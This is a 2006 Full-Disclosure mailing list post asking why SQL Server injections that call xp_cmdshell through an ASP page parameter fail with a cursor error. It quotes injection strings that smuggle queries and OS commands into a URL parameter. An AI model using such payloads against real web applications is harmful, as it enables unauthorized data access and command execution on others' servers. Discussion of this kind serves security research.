[Full-disclosure] SQL Injection with cursors?
- From: "Andres Molinetti" <andymolinetti@xxxxxxxxxxx>
- Date: Wed, 01 Nov 2006 18:53:39 +0000
Hi,
I have another question, somehow related with my previous one.
I have an injection point, where I can do, for example
test.asp?param=blabla' and 1=(select @@version)--
and injections of the sort, and retrieve the information without problems.
Now, when I try to execute a stored procedure like
test.asp?param=blabla' exec master..xp_cmdshell 'dir'--
or
test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--
I get the following error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single
select or a single stored procedure.
Does anybody got an idea of why this is happening?
Best Regards,
Andy.
_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con
MSN Entretenimiento. http://entretenimiento.msn.es/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Prev by Date: [Full-disclosure] [USN-374-1] wvWare vulnerability
- Next by Date: [Full-disclosure] Fun with wireless cards...
- Previous by thread: [Full-disclosure] [USN-374-1] wvWare vulnerability
- Next by thread: [Full-disclosure] SQL Injection with cursors?
- Index(es):
Relevant Pages
|
